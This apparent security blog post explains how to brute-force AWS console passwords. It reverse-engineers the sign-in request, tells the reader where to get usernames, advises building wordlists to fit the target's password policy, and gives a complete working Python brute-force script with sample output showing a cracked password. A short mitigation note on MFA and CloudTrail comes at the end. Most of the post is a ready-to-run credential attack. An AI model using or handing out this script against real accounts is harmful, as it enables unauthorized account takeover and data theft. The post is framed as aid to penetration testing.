Home How to brutefore AWS console sign-in
Post
Cancel

How to brutefore AWS console sign-in

Introduction

I saw some vendors have a detection rule about AWS Console brute force login and I was curious if there any AWS console brute force tool. So I start google but found nothing and I think there should be a way to brute force.

How does console sign in work?

When you click “Sign in” the console will send login data to https://signin.aws.amazon.com/authenticate and return a response

if the user enable MFA:

1
{"state":"SUCCESS","properties":{"result":"MFA","mfaType":"SW","header":"Multi-factor Authentication","cancelLink":"https://console.aws.amazon.com/console/home?fromtb\u003dtrue\u0026hashArgs\u003d%23\u0026state\u003dhashArgsFromTB_us-east-1_4301e3df13c998fe","text":"Enter an MFA code to complete sign-in."}}

Login success:

1
{"state":"SUCCESS","properties":{"result":"SUCCESS","redirectUrl":"https://console.aws.amazon.com/console/home?code\u003RUYiLCJlbmMiOiJ.....................................................YXgvJagvR8sF7w"}}

Incorrect username/password:

1
{"state":"FAIL","properties":{"result":"FAILURE","text":"Your authentication information is incorrect. Please try again."}}

Missing some header:

1
2
3
There seems to be a problem with your session. Or you are trying to access an AWS region that is not enabled for your account. <br />
 If the problem persists try clearing your browser cookies or <a href="https://console.aws.amazon.com/iam/home?region=us-east-1" target="_blank">sign in into the US East region</a>.
We apologize for the inconvenience.<br />

Missing some POST data :

1
{"state":"FAIL","properties":{"Message":"Invalid request","Title":"Bad Request","header":"Bad Request","text":"Invalid request"}}

So I remove unnecessary parameters the request will look like this :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

headers = {
    'Referer': 'https://signin.aws.amazon.com/oauth?client_id=arn%3Aaws%3Asignin%3A%3A%3Aconsole%2Fcanvas&code_challenge=HX2l8ZYWg_5-bz_ed-RChnM-GNqJFbWBiDBbtq1-HVQ&code_challenge_method=SHA-256&response_type=code&redirect_uri=https%3A%2F%2Fconsole.aws.amazon.com%2Fconsole%2Fhome%3Ffromtb%3Dtrue%26hashArgs%3D%2523%26isauthcode%3Dtrue%26state%3DhashArgsFromTB_us-east-1_5674597973dd3cd0&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEKv%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJGMEQCIFTWCIdWxMlnFxwHYxlpNxADKYyFjHxvuQqbiITcIZguAiB3o%2FsGsv9UbgQWi8UWH5r%2FgBHNK4%2FIaYM0brhqI%2BcpzyqTAgiD%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F8BEAEaDDM1ODgyMTg4MDU2NSIMAtX%2BUfkVugJIEPKoKucBprpcJ0aOyAwP%2FHCPbyTIR1HkK%2F1XdC2dh2cdoPBpkSu%2FXgSLjtuRat4ZoPpIN9PtFCU8zYVhWhf%2BMRThkEDK1tUx8zwjPoE%2B%2BfwkBhBNXGmeptTDfprZ7LosegbiJe86zT8o3VOv4%2FE0tmJHcnSrsbEhM87AikUQvobKY6Lr4JlqU7MM3uuU6pxf7Vz1sagypCfcj%2FSKPlOqsFzmGyFpd9W4KNN%2BWceq9rGLmvHUbKOnN64I73uxWVH%2Bsj10CKgCfw060zjKHfZj41KcNvAazr7HyjT8Qmj1AjsmVw12hc4kobOh6zF8MM6G6oYGOpABiohVmFhrhpvVbITOoSePH7jdiC4my%2B60vDPkj5Av4Euz2Jdb2svTXMRXH82CQkhBl9EhflGz%2BMEp3n2AeJ4ySIajogQPrN0AqGDTQVxxhjcQ24%2F6ueSUC0MsL9irM2tt2Hm%2BHLsZ9zIFF7wSCWtBVVGJsYbcCL659kAWrWuFhXRiofBN7cRvyUZSqO83J2zA&X-Amz-Date=20210629T022227Z&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAVHC3TML2YHA5VWS4%2F20210629%2Fus-east-1%2Fsignin%2Faws4_request&X-Amz-SignedHeaders=host&X-Amz-Signature=11d78bf1043164b982b04e82f0c33a5866bc35cc70e53da3c6d8353ba525719d',
}

data = {
  'action': 'iam-user-authentication',
  'account': '123456789012',
  'username': 'console_user',
  'password': 'password',
  'client_id': 'arn:aws:signin:::console/canvas',
  'redirect_uri': 'https://console.aws.amazon.com/console/home',
}

response = requests.post('https://signin.aws.amazon.com/authenticate', headers=headers, cookies=cookies, data=data)

The referer header has an AWS credential that got from the sign-in page but you can just remove GET parameters the request still works. so the final playload will look like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

headers = {
    'Referer': 'https://signin.aws.amazon.com',
}

data = {
  'action': 'iam-user-authentication',
  'account': '123456789012',
  'username': 'console_user',
  'password': 'password',
  'client_id': 'arn:aws:signin:::console/canvas',
  'redirect_uri': 'https://console.aws.amazon.com/console/home',
}

response = requests.post('https://signin.aws.amazon.com/authenticate', headers=headers, data=data)
print(response.text)

Where to find usernames?

You can use a Rhino Security Labs’ research Using AWS Account ID’s for IAM User or Pacu module iam__enum_users to enumerate usernames.

Brute force password

Requirements

  • AWS account id
  • Console username
  • Password wordlist

Prepare a wordlist

if you have a permission iam:GetAccountPasswordPolicy or you already know the target account’s password policy you should follow that policy but if you don’t I recommend using the default policy as a guideline.

The default user password policy:

  • Minimum password length is 8 characters
  • Include a minimum of three of the following mix of character types: uppercase, lowercase, numbers, and ! @ # $ % ^ & * ( ) _ + - = [ ] { }
  • Must not be identical to your AWS account name or email address

If you want to make sure the wordlist cover all password as possible you can use this

The weakest possible password policy:

  • Minimum password length is 6 characters

Brute force script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/python3
import argparse
import requests

headers = {
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36',
    'referer': 'https://signin.aws.amazon.com',
}

data = {
  'action': 'iam-user-authentication',
  'account': '123456789012',
  'username': 'console_user',
  'password': 'password',
  'client_id': 'arn:aws:signin:::console/canvas',
  'redirect_uri': 'https://console.aws.amazon.com/console/home',
}


requests.urllib3.disable_warnings()

parser = argparse.ArgumentParser()
parser.add_argument('--account-id','-id', required=True, default=False, metavar='account_id', type=str)
parser.add_argument('--username','-u', required=True, default=False, metavar='username', type=str)
parser.add_argument('--wordlist','-w', required=True, default=False, metavar='file_path', type=str)
args = parser.parse_args()

if __name__ == '__main__':
    data['account'] = args.account_id
    data['username'] = args.username
    passwords = open(args.wordlist).read().splitlines()
    for password in passwords:
        data['password'] = password
        response = requests.post(
                'https://signin.aws.amazon.com/authenticate',
                headers=headers,
                data=data,
                verify=False
                )
        if '"result":"SUCCESS"' in response.text:
            print(response.text)
            print("="*20)
            print("Passwrod: ", password)
            break

Usage:

1
2
3
4
./poc.py -id 0123456789012 -u console_user -w passwords.txt
{"state":"SUCCESS","properties":{"result":"SUCCESS","redirectUrl":"https://console.aws.amazon.com/console/home?code\ueyJ6a........................0EqLmrg"}}
====================
Passwrod:  Brut3f0r3_P@ssw0rd

Mitigation

I recommend enabling MFA for all console users. You can also monitor Cloudtrail log eventName: ConsoleLogin if you see a lot fail login attempts in a short period and see login success from the same IP maybe someone got into your account.

Conclusion

This technique combined with a Rhino Security Labs’ research1 could be useful when you perform penetration testing AWS accounts and demonstrate how important MFA and strong password policy are necessary to make your AWS account secure.

This post is licensed under CC BY 4.0 by the author.
Recent Update
Trending Tags
Contents

-

-

Trending Tags